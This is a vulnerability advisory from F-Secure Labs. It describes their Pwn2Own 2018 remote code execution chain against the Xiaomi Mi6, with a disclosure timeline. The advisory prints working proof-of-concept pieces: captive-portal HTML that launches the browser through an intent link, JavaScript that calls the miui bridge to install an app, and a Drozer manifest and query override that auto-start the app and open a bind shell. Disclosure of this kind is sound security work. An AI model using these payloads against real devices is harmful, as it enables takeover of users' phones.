Xiaomi Mi6 WiFi Captive Portal Remote Code Execution (Pwn2Own 2018)

    Type

  • Remote Code Execution
  • Severity

  • High
  • Affected products

  • Xiaomi Mi6
  • CVE Reference

  • N/A
Timeline
2018-11-14Issue reported to ZDI at Pwn2Own
2019-01-27ZDI contacted vendor requesting a status update
2019-02-06ZDI contacted vendor again requesting a status update
2019-02-06Vendor replied stating they plan to publish an update by the end of February
2019-02-08ZDI notified the vendor the case would be 0-dayed if a fix was not available by the end of February
2019-03-04 Vendor replied but did not provide ETA
2019-06-03ZDI notified the vendor the intention to 0-day the reports
2019-11-22F-Secure release advisory

Introduction

At Pwn2own in 2018, F-Secure Labs demonstrated compromise of the Xiaomi Mi6 when it connected to a Wi-Fi hotspot under control by an attacker. At a high level, the following steps were followed:

  1. User joins the WiFi controlled by an attacker, device checks WiFi for captive portal by sending an HTTP GET request for a test page
  2. WiFi AP responds with a 200 response for the captive portal check and includes malicious HTML in the body
  3. The device automatically opens an HTML Viewer with the response, enabling opening of the browser with a specific URL
  4. A malicious page is opened in the browser with a specific domain that enables a dangerous JavaScript bridge
  5. The bridge is used to download an app from the Xiaomi app store
  6. The app auto starts due to a vulnerability in the Android Contact Provider app

Technical details

Opening the captive portal

The Xiaomi Mi6 (and other Xiaomi devices) act differently from other Android devices in that on detecting a captive portal on a “high priority” network, it will automatically open the portal in an HTML viewer without first prompting the user.

An attacker can trigger this behaviour by creating a malicious WiFi access point. When the victim first joins the network, they are given access to the Internet. The Xiaomi device will then treat this network as high priority as it provides ‘good’ Internet access. The attacker can then take down the access point and then start it again with the same SSID and BSSID, but now redirecting the following host to their local web server:

connect.rom.miui.com

Their local web server must include a 200 response for “http://connect.rom.miui.com/generate_204”. This response will include their HTML payload for the next step. This action on a high priority network automatically opens the CaptivePortal app.

Initial Web Page redirect the browser

This next step uses the HTML loaded in the captive portal to open the browser. 

The captive portal app contains a WebView that loads the result of the ‘generate_204’ request. This WebView has JavaScript enabled, and permits loading of other apps through custom schemes, including the “intent” scheme. As the Xiaomi browser includes a BROWSABLE intent for http schemes, the following HTML can therefore be used to load the browser:

<a id='foo' href="intent://testing.mi.com/thanks.html#Intent;package=com.android.browser;scheme=http;end">intent link to web</a>
<script>
function fooit(){
document.getElementById('foo').click();
}
</script>

Using the JavaScript bridge in the browser to install APKs

The Xiaomi Browser app, contains a JavaScript bridge in all pages loaded (including those on the Internet), named “miui”. This includes the following method:

public abstract class a implements IMiuiApi {
public class com.android.browser.js.a$a {

@JavascriptInterface public void downloadAndInstallApk(String arg2, String arg3, String arg4) {
this.a();
ae.a(this.a, arg2, arg3, arg4);
}

Which calls method “a” that starts an install service:

private void a(String arg4, String arg5) {
Intent v0 = new Intent("com.xiaomi.market.service.AppDownloadInstallService");
v0.setPackage(arg4);
v0.putExtra("packageName", arg5);
v0.putExtra("type", 2);
v0.putExtra("ref", "browser_suggestbutton");
this.W.startService(v0);

A restriction on this bridge is that it will only run on pages where the URL host ends with one of the following strings held in the array bf.a:

public class bf {
private static final String[] a;
private static Pattern b;
static {
bf.a = new String[]{".mi.com", ".miui.com", ".xiaomi.com", ".duokan.com"};
}

It is possible, given that the attacker controls the access point, to open the browser in a clear text host that passes the above URL host check. For the PoC, the following URL was used:

http://testing.mi.com/thanks.html

This page contained the following HTML:

<script>
function dofoo(){ window.miui.downloadAndInstallApk("com.mwr.dz","com.mwr.dz"); }
</script>

This connects to the Xiaomi app store and downloads an app of our choosing, in this instance, Drozer.

Auto-starting Drozer

The vulnerability used against the Samsung S8 in 2017 to auto start apps is not limited to Samsung but affected all Android devices. The Contacts provider (com.android.providers.contacts), checks every newly installed app to see if it contains a provider with the following meta-data held in its AndroidManifest.xml file.

<meta-data android:name="android.content.ContactDirectory"
android:value="true"/>

The following entry in Drozer would therefore trigger this issue:

<provider android:name="com.mwr.dz.MyContentProvider"
android:authorities="dzprovider"
android:enabled="true"
android:exported="true">
<meta-data android:name="android.content.ContactDirectory"
android:value="true"/>
</provider>

The contacts provider app on detecting the meta-data, would then attempt to query the provider. This is done by calling the onQuery method, which is overwritten in Drozer to start the main service and open a bind shell:

public Cursor query(Uri uri, String[] projection, String selection,
String[] selectionArgs, String sortOrder) {
Intent i = new Intent();
i.addCategory("com.mwr.dz.START_EMBEDDED");
i.setComponent(new ComponentName("com.mwr.dz", "com.mwr.dz.services.ServerService"));
Context c = getContext();
c.startService(i);
}

This opens a bind shell on TCP:31415